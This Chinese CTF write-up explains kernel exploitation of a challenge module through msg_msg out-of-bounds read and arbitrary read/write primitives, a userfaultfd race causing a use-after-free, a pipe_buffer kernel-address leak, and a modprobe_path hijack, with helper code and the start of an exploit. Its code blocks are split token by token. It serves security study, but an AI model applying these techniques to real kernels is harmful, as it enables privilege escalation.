2022 ciscn实践赛西南赛区半决赛只有两道pwn,一道简单vm栈溢出,还有一道1解kernel。
因为题目没有泄露函数,所以我依赖msg_msg
构造越界读&任意写的原语,同时借助pipe_buffer
完成内核地址泄露。
笔者对msg
源码进行了浅要的剖析,有基础 or 对源码不感兴趣 的读者可自行选择跳过。
消息队列是Linux的一种通信机制,这种通信机制传递的数据具有某种结构,而不是简单的字节流。消息队列的本质其实是一个内核提供的链表,内核基于这个链表,实现了一个数据结构。
可以通过消息队列实现进程间通信等。
/include/linux/msg.h
中有关于msg_msg
结构体的定义:
1
2
3
4
5
6
7
8
|
struct msg_msg {
struct list_head m_list;
long
m_type;
size_t m_ts;
/
*
message text size
*
/
struct msg_msgseg
*
next
;
void
*
security;
/
*
the actual message follows immediately
*
/
};
|
其中list_head
为双向链表结构体,储存next
和prev
指针:
1
2
3
|
struct list_head {
struct list_head
*
next
,
*
prev;
};
|
在ipc/msgutil.c
中有对msg_msgseg
的定义,还有申请msg_msg
结构体的函数:
1
2
3
4
|
struct msg_msgseg {
struct msg_msgseg
*
next
;
/
*
the
next
part of the message follows immediately
*
/
};
|
可以看到msg_msgseg
就是一个嵌套的结构体指针。
1
|
int
msgget(key_t key,
int
msgflag)
|
其中参数含义:
参数 | 参数意义 |
---|---|
key | key的值为函数ftok的返回值或IPC_PRIVATE ,若为IPC_PRIVATE 则直接创建新的消息队列 |
msgflag | IPC_CREAT :创建新的消息队列。 IPC_EXCL :与IPC_CREAT 一同使用,表示如果要创建的消息队列已经存在,则返回错误。(IPC_EXCL 没有什么实质性的意义,但是可以帮我们确定是新建了消息队列而不是返回已经存在的消息队列) IPC_NOWAIT :读写消息队列要求无法满足时,不阻塞。返回值: 调用成功返回队列标识符,否则返回-1. 其中该参数需要配合权限控制符,例如0666 OR IPC_CREAT |
调用msgget函数会创建新的消息队列,或者获取已有的消息队列,若创建新的消息队列,会创建一个msg_queue
结构体当消息队列msg_msg
双向循环链表的起始节点。
需要注意的是后续若某进程调用msgsnd
函数对消息队列进行写操作,需要该进程有写权限;同理msgrcv
需要有读权限。这是由msgget
函数中的第二个参数中的权限控制符所决定的。
1
|
int
msgsnd(
int
msqid, const void
*
msgp, size_t msgsz,
int
msgflg)
|
引自Roland
师傅的图:(概括性的,若读者不想看我对源码的分析可以直接参考这个表)
调用 msgsnd 系统调用在指定消息队列上发送一条指定大小的 message 时,会建立msg_msg
结构体。
查看实现msgsnd系统调用的do_msgsnd
函数部分源码:
msg_queue
作为msg_msg
队列的链表头。load_msg
函数对msg
进行了初始化。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
static
long
do_msgsnd(
int
msqid,
long
mtype, void __user
*
mtext,
size_t msgsz,
int
msgflg)
{
struct msg_queue
*
msq;
struct msg_msg
*
msg;
int
err;
struct ipc_namespace
*
ns;
DEFINE_WAKE_Q(wake_q);
ns
=
current
-
>nsproxy
-
>ipc_ns;
if
(msgsz > ns
-
>msg_ctlmax || (
long
) msgsz <
0
|| msqid <
0
)
return
-
EINVAL;
if
(mtype <
1
)
return
-
EINVAL;
msg
=
load_msg(mtext, msgsz);
...........
|
查看load_msg
函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
struct msg_msg
*
load_msg(const void __user
*
src, size_t
len
)
{
struct msg_msg
*
msg;
struct msg_msgseg
*
seg;
int
err
=
-
EFAULT;
size_t alen;
msg
=
alloc_msg(
len
);
if
(msg
=
=
NULL)
return
ERR_PTR(
-
ENOMEM);
alen
=
min
(
len
, DATALEN_MSG);
if
(copy_from_user(msg
+
1
, src, alen))
goto out_err;
for
(seg
=
msg
-
>
next
; seg !
=
NULL; seg
=
seg
-
>
next
) {
len
-
=
alen;
src
=
(char __user
*
)src
+
alen;
alen
=
min
(
len
, DATALEN_SEG);
if
(copy_from_user(seg
+
1
, src, alen))
goto out_err;
}
err
=
security_msg_msg_alloc(msg);
if
(err)
goto out_err;
return
msg;
out_err:
free_msg(msg);
return
ERR_PTR(err);
}
|
调用了alloc_msg
函数分配空间,同时将用户数据拷贝到内核msg_msg
队列中。
再查看alloc_msg
函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
static struct msg_msg
*
alloc_msg(size_t
len
)
{
struct msg_msg
*
msg;
struct msg_msgseg
*
*
pseg;
size_t alen;
alen
=
min
(
len
, DATALEN_MSG);
msg
=
kmalloc(sizeof(
*
msg)
+
alen, GFP_KERNEL_ACCOUNT);
if
(msg
=
=
NULL)
return
NULL;
msg
-
>
next
=
NULL;
msg
-
>security
=
NULL;
len
-
=
alen;
pseg
=
&msg
-
>
next
;
while
(
len
>
0
) {
struct msg_msgseg
*
seg;
cond_resched();
alen
=
min
(
len
, DATALEN_SEG);
seg
=
kmalloc(sizeof(
*
seg)
+
alen, GFP_KERNEL_ACCOUNT);
if
(seg
=
=
NULL)
goto out_err;
*
pseg
=
seg;
seg
-
>
next
=
NULL;
pseg
=
&seg
-
>
next
;
len
-
=
alen;
}
return
msg;
out_err:
free_msg(msg);
return
NULL;
}
|
从该函数源码我们可以知道:
msg_msg
结构体有储存自身信息的header
,大小为0x30。msg_msg
结构体只能申请最大为PAGE_SIZE
-header_size
(也就是0x1000-0x30)。length
大于DATALEN_MSG
,则会将剩下的内容储存在msg_msgseg
中,同理多余length
也不可超过DATALEN_SEG
,但是msg_msgseg
的header
没有msg_msg
那么复杂,只有一个next
指针,剩余数据全用来储存data
。length
超过DATALEN_SEG
,则继续分配msg_msgseg
结构体。通俗点来说,msg_msg
和msg_msgseg
结构体最大size均不能超过page_size
:
msg_msg
超过了会分配msg_msgseg
帮它分担。msg_msgseg
超过了会继续分配msg_msgseg
。最后单个msg_msg
消息会形成如下的单向链表结构:
而msg_msg
之间则是用list_head
来链接,形成的是以msg_queue
为首节点的双向循环链表结构,大致如下:
申请msg_msg
的调用链:
1
|
do_msgsnd
-
-
>load_msg
-
-
>alloc_msg
|
1
|
ssize_t msgrcv(
int
msqid, void
*
msgp, size_t msgsz,
long
msgtyp,
int
msgflg)
|
同样引自Roland
师傅的图:(进行了一点小更正)
msgrcv
系统调用能从消息队列上接受指定大小的消息,并且选择性(是否)释放msg_msg
结构体。
具体实现源码在/ipc/msg.c
的do_msgrcv
中。
find_msg
定位
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
static struct msg_msg
*
find_msg(struct msg_queue
*
msq,
long
*
msgtyp,
int
mode)
{
struct msg_msg
*
msg,
*
found
=
NULL;
long
count
=
0
;
list_for_each_entry(msg, &msq
-
>q_messages, m_list)
{
if
(testmsg(msg,
*
msgtyp, mode) &&
!security_msg_queue_msgrcv(&msq
-
>q_perm, msg, current,
*
msgtyp, mode))
{
if
(mode
=
=
SEARCH_LESSEQUAL && msg
-
>m_type !
=
1
)
{
*
msgtyp
=
msg
-
>m_type
-
1
;
found
=
msg;
}
else
if
(mode
=
=
SEARCH_NUMBER)
{
if
(
*
msgtyp
=
=
count)
return
msg;
}
else
return
msg;
count
+
+
;
}
}
return
found ?: ERR_PTR(
-
EAGAIN);
}
|
该函数中源码中使用了内核源码中常见的一个宏定义:list_for_each_entry
。该宏定义可以理解为一个for
循环。
它实际上是一个 for 循环,利用传入的 pos 作为循环变量,从表头 head 开始,逐项向后(next 方向)移动 pos,直至又回head。
该循环遍历了msg_queue
为首节点的双向循环链表,也就是遍历了所有msg_msg
队列的头节点。
然后调用testmsg
,根据mode
和传入的msgtyp
来筛选:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
static
int
testmsg(struct msg_msg
*
msg,
long
type
,
int
mode)
{
switch (mode) {
case SEARCH_ANY:
case SEARCH_NUMBER:
return
1
;
case SEARCH_LESSEQUAL:
if
(msg
-
>m_type <
=
type
)
return
1
;
break
;
case SEARCH_EQUAL:
if
(msg
-
>m_type
=
=
type
)
return
1
;
break
;
case SEARCH_NOTEQUAL:
if
(msg
-
>m_type !
=
type
)
return
1
;
break
;
}
return
0
;
}
|
其中mode
由convert_mode
决定:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
static inline
int
convert_mode(
long
*
msgtyp,
int
msgflg)
{
if
(msgflg & MSG_COPY)
return
SEARCH_NUMBER;
/
*
*
find message of correct
type
.
*
msgtyp
=
0
=
> get first.
*
msgtyp >
0
=
> get first message of matching
type
.
*
msgtyp <
0
=
> get message with least
type
must be <
abs
(msgtype).
*
/
if
(
*
msgtyp
=
=
0
)
return
SEARCH_ANY;
if
(
*
msgtyp <
0
) {
if
(
*
msgtyp
=
=
LONG_MIN)
/
*
-
LONG_MIN
is
undefined
*
/
*
msgtyp
=
LONG_MAX;
else
*
msgtyp
=
-
*
msgtyp;
return
SEARCH_LESSEQUAL;
}
if
(msgflg & MSG_EXCEPT)
return
SEARCH_NOTEQUAL;
return
SEARCH_EQUAL;
}
|
综合起来,可以看到用户是通过控制msgtyp
来控制do_msg_rcv
拷贝/取得 哪条队列信息:
msgtyp | mode | 效果 | ||
---|---|---|---|---|
<0 | SEARCH_LESSEQUAL | 找到一个msg->m_type 小于msgtyp 且msg->m_type 最小的msg_msg |
||
=0 | SEARCH_ANY | 找到msg_msg 队列中第一个msg_msg |
||
>0 | SEARCH_EQUAL\ | \ | SEARCH_NOTEQUAL | 找到第一个msg->m_type 等于/不等于msgtyp 的msg_msg |
特例:MSG_COPY
位为1的时候,mode
为SEARCH-NUMBER
,在find_msg
中会返回msg_msg
双向循环链表中,第msgtyp
个msg_msg
,也就是返回第msgtyp
条消息,而不是上述表格中根据msgtyp
去和msg->m_type
进行匹配。
在/ipc/msg.c
中do_msgrcv
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
static
long
do_msgrcv(
int
msqid, void __user
*
buf, size_t bufsz,
long
msgtyp,
int
msgflg,
long
(
*
msg_handler)(void __user
*
, struct msg_msg
*
, size_t))
{
int
mode;
struct msg_queue
*
msq;
struct ipc_namespace
*
ns;
struct msg_msg
*
msg,
*
copy
=
NULL;
...........
...........
list_del(&msg
-
>m_list);
...........
...........
free_msg(msg);
return
bufsz;
|
内核首先会调用 list_del()
将其从 msg_queue
的双向链表上 unlink,之后再调用 free_msg()
释放 msg_msg
单向链表上的所有消息。
在do_msg_rcv
函数最后,调用了msg_handler
,看参数像是进行内核-->用户的数据拷贝。
1
|
bufsz
=
msg_handler(buf, msg, bufsz);
|
其中msg_handler
是do_msgrcv
传进来的参数,是一个函数指针,向上看调用do_msgrcv
的调用链:
1
2
3
4
5
|
long
ksys_msgrcv(
int
msqid, struct msgbuf __user
*
msgp, size_t msgsz,
long
msgtyp,
int
msgflg)
{
return
do_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);
}
|
可知msg_handler
具体函数指针为do_msg_fill
:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
static
long
do_msg_fill(void __user
*
dest, struct msg_msg
*
msg, size_t bufsz)
{
struct msgbuf __user
*
msgp
=
dest;
size_t msgsz;
if
(put_user(msg
-
>m_type, &msgp
-
>mtype))
return
-
EFAULT;
msgsz
=
(bufsz > msg
-
>m_ts) ? msg
-
>m_ts : bufsz;
if
(store_msg(msgp
-
>mtext, msg, msgsz))
return
-
EFAULT;
return
msgsz;
}
|
其中调用store_msg
进行数据拷贝:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
int
store_msg(void __user
*
dest, struct msg_msg
*
msg, size_t
len
)
{
size_t alen;
struct msg_msgseg
*
seg;
alen
=
min
(
len
, DATALEN_MSG);
if
(copy_to_user(dest, msg
+
1
, alen))
return
-
1
;
for
(seg
=
msg
-
>
next
; seg !
=
NULL; seg
=
seg
-
>
next
) {
len
-
=
alen;
dest
=
(char __user
*
)dest
+
alen;
alen
=
min
(
len
, DATALEN_SEG);
if
(copy_to_user(dest, seg
+
1
, alen))
return
-
1
;
}
return
0
;
}
|
可以看到拷贝过程和之前msg_msg
结构内存申请相对应:
DATALEN_MSG
,则直接拷贝后结束。DATALEN_MSG
,则继续拷贝msg_msg
单向链表后面的msg_msgseg
结构体内容,直到拷贝结束。ps:拷贝结束的标志均为seg->next
指针为NULL
拷贝的总长度则由msgsz
决定,而msgsz
:
1
|
msgsz
=
(bufsz > msg
-
>m_ts) ? msg
-
>m_ts : bufsz;
|
可以看到若bufsz
足够的情况下,拷贝数据总长度是由msg->m_ts
决定的。
MSG_COPY
位需要注意的是,若我们带有MSG_COPY
标志,则不会在双向链表上unlink,只会进行copy操作,具体实现在do_msgrcv
中部分源码:
若有MSG_COPY
标志,源码注释:If we are copying, then do not unlink message and do not update queue parameters.
不会调用list_del()
去进行unlink
,并且最后free_msg()
释放的是我们在内核中copy出来的堆块。也就是说,我们可以通过设置MSG_COPY
多次读取一条消息。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
if
(!IS_ERR(msg)) {
/
*
*
Found a suitable message.
*
Unlink it
from
the queue.
*
/
if
((bufsz < msg
-
>m_ts) && !(msgflg & MSG_NOERROR)) {
msg
=
ERR_PTR(
-
E2BIG);
goto out_unlock0;
}
/
*
*
If we are copying, then do
not
unlink message
and
do
*
not
update queue parameters.
*
/
if
(msgflg & MSG_COPY) {
msg
=
copy_msg(msg, copy);
goto out_unlock0;
}
list_del(&msg
-
>m_list);
msq
-
>q_qnum
-
-
;
msq
-
>q_rtime
=
ktime_get_real_seconds();
ipc_update_pid(&msq
-
>q_lrpid, task_tgid(current));
msq
-
>q_cbytes
-
=
msg
-
>m_ts;
atomic_sub(msg
-
>m_ts, &ns
-
>msg_bytes);
atomic_dec(&ns
-
>msg_hdrs);
ss_wakeup(msq, &wake_q, false);
goto out_unlock0;
}
|
在通过find_msg
定位一节已经讲过:
MSG_COPY
位为1的时候,mode
为SEARCH-NUMBER
,在find_msg
中会返回msg_msg
双向循环链表中,第msgtyp
个msg_msg
,也就是返回第msgtyp
条消息,而不是上述表格中根据msgtyp
去和msg->m_type
进行匹配。
由于MSG_COPY
位为1的时候,内核会调用prepare_copy
再申请一块内存出来。
1
2
3
4
5
6
7
8
9
10
11
|
static inline struct msg_msg
*
prepare_copy(void __user
*
buf, size_t bufsz)
{
struct msg_msg
*
copy;
/
*
*
Create dummy message to copy real message to.
*
/
copy
=
load_msg(buf, bufsz);
if
(!IS_ERR(copy))
copy
-
>m_ts
=
bufsz;
return
copy;
|
申请内存大小为我们传入do_msgrcv
的bufsz
。
1
2
|
if
(src
-
>m_ts > dst
-
>m_ts)
return
ERR_PTR(
-
EINVAL);
|
若源src->m_ts
大于目标dst->m_ts
,则会发生溢出,因此会直接返回不会拷贝。
同时copy_msg
函数末尾还有赋值操作:
1
|
dst
-
>m_ts
=
src
-
>m_ts
|
因此我们要满足的条件是src->m_ts
<=dst->m_ts
即可。
即bufsz
>=src->m_ts
。
经过对源码的阅读和分析,可以想到我们可以做到的事情:
(1)改掉msg_msg->m_ts
。
可以读取最多一页的内存,实现越界读。
msg_msg
,则可以读取该msg_msg
附近的数据(最多将近一页内存)。msg_msgseg
,则可以读取单向链表尾节点msg_msgseg
中附近的数据(最多将近一页内存)。(2)改掉msg_msg->m_ts
和msg_msg->m_list
中的next
指针。
可以利用堆喷其他结构体+msg_msg
越界读,获得一些堆地址 or 内核地址。
可以堆喷一些一些消息队列,每个消息队列上只有一条消息:即msg->queue
双向循环链表里只有一个节点:
可以通过某个msg_msg
的越界读,有几率读到其他消息队列的msg_msg
的m_list
字段,而我们构造每条消息队列上只有一条消息
,泄露其m_list
,即为msg_queue
的地址。泄露完之后,继续伪造msg_msg->next
字段可泄露整个该消息队列中每个结构体的地址。
可以实现任意地址读。
但是需要注意的是,我们需要伪造我们需要读的地址target的next
指针为NULL,不然在store_msg
进行数据拷贝的时候,是以NULL指针为结束判断条件,因此我们需要满足target->next==NULL
or target->next->next==NULL
,反正需要我们伪造的任意读链表存在一个NULL节点
,且中途不能到达不可读地址,否则会造成kernel panic。
在do_msgsnd
函数中调用了load_msg
进行用户到内核的数据拷贝,若我们利用userfault
机制暂停一个线程,再在另一个线程中篡改掉msg->next
指针,则可以实现任意地址写。
模板采用的arttnba3
师傅的模板:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
struct list_head {
uint64_t
next
;
uint64_t prev;
};
struct msg_msg {
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t
next
;
uint64_t security;
};
struct msg_msgseg {
uint64_t
next
;
};
struct msgbuf {
long
mtype;
char mtext[
0
];
};
int
getMsgQueue(void)
{
return
msgget(IPC_PRIVATE,
0666
| IPC_CREAT);
}
int
readMsg(
int
msqid, void
*
msgp, size_t msgsz,
long
msgtyp)
{
return
msgrcv(msqid, msgp, msgsz, msgtyp,
0
);
}
/
*
*
*
the msgp should be a pointer to the `struct msgbuf`,
*
and
the data should be stored
in
msgbuf.mtext
*
/
int
writeMsg(
int
msqid, void
*
msgp, size_t msgsz,
long
msgtyp)
{
((struct msgbuf
*
)msgp)
-
>mtype
=
msgtyp;
return
msgsnd(msqid, msgp, msgsz,
0
);
}
/
*
for
MSG_COPY, `msgtyp` means to read no.msgtyp msg_msg on the queue
*
/
int
peekMsg(
int
msqid, void
*
msgp, size_t msgsz,
long
msgtyp)
{
return
msgrcv(msqid, msgp, msgsz, msgtyp,
MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}
void buildMsg(struct msg_msg
*
msg, uint64_t m_list_next, uint64_t m_list_prev,
uint64_t m_type, uint64_t m_ts, uint64_t
next
, uint64_t security)
{
msg
-
>m_list.
next
=
m_list_next;
msg
-
>m_list.prev
=
m_list_prev;
msg
-
>m_type
=
m_type;
msg
-
>m_ts
=
m_ts;
msg
-
>
next
=
next
;
msg
-
>security
=
security;
}
|
pipe是Linux系统跨进程通信的一种方式。管道是连接一个读进程和一个写进程,以实现它们之间通信的共享文件。基于pipe
族系统调用实现(而非open()
)。而这个文件不是真正的文件,向管道文件读写数据其实是在读写内核缓冲区。
1
2
|
#include <unistd.h>
int
pipe(
int
pipefd[
2
]);
|
pipe() 创建一个管道,一个可用于进程间通信的单向数据通道。 数组 pipefd 用于返回两个指向管道末端的文件描述符。 pipefd[0] 是管道的读端fd。 pipefd[1] 是管道的写端fd。 写端把数据写入管道,直到读端读取数据。
管道不需要open
,但需要close
释放。
定义在/include/linux/pipe_fs_i.h
中:
1
2
3
4
5
6
7
|
struct pipe_buffer {
struct page
*
page;
unsigned
int
offset,
len
;
const struct pipe_buf_operations
*
ops;
unsigned
int
flags;
unsigned
long
private;
};
|
size为0x30。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
struct pipe_inode_info
*
alloc_pipe_info(void)
{
struct pipe_inode_info
*
pipe;
unsigned
long
pipe_bufs
=
PIPE_DEF_BUFFERS;
struct user_struct
*
user
=
get_current_user();
unsigned
long
user_bufs;
unsigned
int
max_size
=
READ_ONCE(pipe_max_size);
pipe
=
kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
if
(pipe
=
=
NULL)
goto out_free_uid;
if
(pipe_bufs
*
PAGE_SIZE > max_size && !capable(CAP_SYS_RESOURCE))
pipe_bufs
=
max_size >> PAGE_SHIFT;
user_bufs
=
account_pipe_buffers(user,
0
, pipe_bufs);
if
(too_many_pipe_buffers_soft(user_bufs) && pipe_is_unprivileged_user()) {
user_bufs
=
account_pipe_buffers(user, pipe_bufs, PIPE_MIN_DEF_BUFFERS);
pipe_bufs
=
PIPE_MIN_DEF_BUFFERS;
}
if
(too_many_pipe_buffers_hard(user_bufs) && pipe_is_unprivileged_user())
goto out_revert_acct;
pipe
-
>bufs
=
kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);
if
(pipe
-
>bufs) {
init_waitqueue_head(&pipe
-
>rd_wait);
init_waitqueue_head(&pipe
-
>wr_wait);
pipe
-
>r_counter
=
pipe
-
>w_counter
=
1
;
pipe
-
>max_usage
=
pipe_bufs;
pipe
-
>ring_size
=
pipe_bufs;
pipe
-
>nr_accounted
=
pipe_bufs;
pipe
-
>user
=
user;
mutex_init(&pipe
-
>mutex);
return
pipe;
}
out_revert_acct:
(void) account_pipe_buffers(user, pipe_bufs,
0
);
kfree(pipe);
out_free_uid:
free_uid(user);
return
NULL;
}
|
在建立管道时,内核首先会申请一个pipe_inode_info
结构体,然后在其pipe_inode_info->buf
字段申请pipe_buffer
结构体:
1
2
3
|
unsigned
long
pipe_bufs
=
PIPE_DEF_BUFFERS;
pipe
-
>bufs
=
kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);
|
其中PIPE_DEF_BUFFERS
=16;因此会申请0x10*0x30(size of pipe_buffer)的内存,也就是会从kmalloc-1k中取。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
struct pipe_buf_operations {
/
*
*
-
>confirm() verifies that the data
in
the pipe
buffer
is
there
*
and
that the contents are good. If the pages
in
the pipe belong
*
to a
file
system, we may need to wait
for
IO completion
in
this
*
hook. Returns
0
for
good,
or
a negative error value
in
case of
*
error. If
not
present
all
pages are considered good.
*
/
int
(
*
confirm)(struct pipe_inode_info
*
, struct pipe_buffer
*
);
/
*
*
When the contents of this pipe
buffer
has been completely
*
consumed by a reader,
-
>release()
is
called.
*
/
void (
*
release)(struct pipe_inode_info
*
, struct pipe_buffer
*
);
/
*
*
Attempt to take ownership of the pipe
buffer
and
its contents.
*
-
>try_steal() returns
%
true
for
success,
in
which case the contents
*
of the pipe (the buf
-
>page)
is
locked
and
now completely owned by the
*
caller. The page may then be transferred to a different mapping, the
*
most often used case
is
insertion into different
file
address space
*
cache.
*
/
bool
(
*
try_steal)(struct pipe_inode_info
*
, struct pipe_buffer
*
);
/
*
*
Get a reference to the pipe
buffer
.
*
/
bool
(
*
get)(struct pipe_inode_info
*
, struct pipe_buffer
*
);
};
|
主要关注其release
指针,在我们关闭一个管道的两端之后,管道会被释放,同样pipe_buffer
也会被释放。调用的是函数表中的release
指针。调用路径为:free_pipe_info->pipe_buf_release
pipe_buffer
中的*pipe_buf_operations
成员能泄露内核基地址。
PS:需要注意的是,利用pipe
系统调用后需要调用一次写管道才能对函数表进行初始化:
1
2
3
4
5
6
7
8
9
10
11
12
|
static ssize_t
pipe_write(struct kiocb
*
iocb, struct iov_iter
*
from
)
{
...
...
buf
=
&pipe
-
>bufs[head & mask];
buf
-
>page
=
page;
buf
-
>ops
=
&anon_pipe_buf_ops;
buf
-
>offset
=
0
;
buf
-
>
len
=
0
;
...
...
|
覆写pipe_buffer->pipe_buf_operations->release
为某些栈迁移指针。将rsi
-->rsp
。
题目开启了KPTI
,SMAP
,SMEP
等正常保护。
内核版本:
1
2
|
/
$ uname
-
a
Linux (none)
5.10
.
102
#2 SMP Sun Mar 27 17:29:07 CST 2022 x86_64 GNU/Linux
|
从5.11
内核版本开始,就禁止非特权用户使用userfaultfd
了。所以这道题是userfaultfd
版本最后的荣光 (bushi
在kernel_release
函数中存在指针未清零的情况:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
int
__fastcall kernel_release(inode
*
inode,
file
*
filp)
{
char
*
*
v2;
/
/
rax
int
result;
/
/
eax
_fentry__();
v2
=
addrList;
do
*
v2
+
+
=
0LL
;
while
( v2 !
=
&addrList[
32
] );
kfree(
buffer
, filp);
result
=
0
;
flags
=
0
;
return
result;
}
|
但是kernel_open
函数判断了flag
字段:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
void kernel_open()
{
__int64 v0;
/
/
rdi
_fentry__();
if
( !flags )
{
v0
=
kmalloc_caches[
8
];
flags
=
1
;
buffer
=
(char
*
)kmem_cache_alloc_trace(v0,
0xCC0LL
,
0x100LL
);
if
(
buffer
)
kernel_open_cold();
}
}
|
因此我们无法调用两次kernel_open
后利用kernel_release
的指针悬挂,来造成0x100 size的一个object的UAF。
但是由于kernel_read
和kernel_write
,kernel_open
与kernel_release
均未加锁,且read
与write
中含有类似于如下的copy_to_user
操作:
1
2
|
if
( copy_to_user(a2, v4, v5) )
return
-
2LL
;
|
因此我们可以考虑使用userfaultfd
卡住当前进程,在另外一个线程中调用kernel_release
。这样同样可以达到一个0x100 size的UAF。
所以笔者是考虑用这个简单的洞来泄露内核基址,用的是0x100 size对应的timerfd_ctx
结构体。
不过笔者用这种方法无论如何都无法泄露出内核基址,后来咨询arttnba3
师傅后得知:
内核调用fput对文件描述符进行释放,对于文件描述符的关闭会被delay,直到我们读取数据后才会关闭。
因此靠这种操作leak内核数据是不可行的。
程序除了module
自身的open
,release
,read
,write
操作。
提供了简单的菜单堆功能:
所有功能都未加锁,因此可以用userfaultfd
在edit时将进程卡死,在另一个线程中free掉这个堆块后申请某些object到该地址上,实现0x400 size object的UAF(只能更改一次值)。
申请一个消息队列,上面只放一条消息,且size为0x400。同时申请一个pipe_buffer
。
改大msg_msg->m_ts
,用带有MSG_COPY
位的msgrcv
进行越界读,泄露出pipe_buffer
上的函数表。
得到内核基址。
leak内核地址分别消耗了一次add,delete,edit操作。因此我们还有一次UAF的机会。
笔者最先考虑的是用pipe_buffer
提权,刚好满足0x400的size,因此我们利用UAF将pipe_buffer->pipe_buf_operations->release
函数指针更改为某个栈迁移gadget即可。
但是我并没有找到可利用的gadget,其中有一条可能能达成的:
1
|
push_rsi_pop_rsp
=
0xffffffff81934056
;
/
/
push rsi; pop rsp; retf;
|
不过retf
是按32位pop eip
和cs
,的,而32位根本不足以储存一个内核地址。
同时还有例如mov esp,esi
类型的gadget
,由于intel x86&x64
的调用约定,当对32位寄存器进行赋值操作的时候,会将高32位寄存器值清零,因此也不可用。
同时注意到程序没有开启CONFIG_STATIC_USERMODEHELPER
保护,因此笔者选择用UAF
劫持0x400 size的freelist
到modprobe_path
附近,更改modprobe_path
。
笔者是申请msg_msg
结构体申请到modprobe_path
附近,由于size太大,会将modprobe_path
附近的所有内容全部清空。
直接进行接下来的提权or 读取flag操作会在成功前引起kernel panic
,因此我们需要恢复modprobe_path
附近的函数指针。
其中,kmod
的函数指针恢复是必要的:
因为modprobe_path
是一个Linux程序,最初由Rusty Russell编写,用于在Linux内核中添加一个可加载的内核模块,或者从内核中移除一个可加载的内核模块,因此modprobe
是安装某个内核模块,而kmod
是一个用于控制linux内核模块的程序,因此在后续调用中需要用到
最后直接利用modprobe_path_hijack
更改flag权限后读取即可。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
|
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/msg.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <semaphore.h>
#define CLOSE printf("\033[0m");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define real(a) a+kernel_base-0xffffffff81000000
#define PAGE_SIZE 0X1000
#define MSG_COPY 040000
size_t fd;
size_t kernel_base;
size_t tmp_buf[
0x500
];
char
*
msg_buf;
size_t fake_ops_buf[
0x100
];
int
ms_qid[
0x100
];
int
pipe_fd[
0x20
][
2
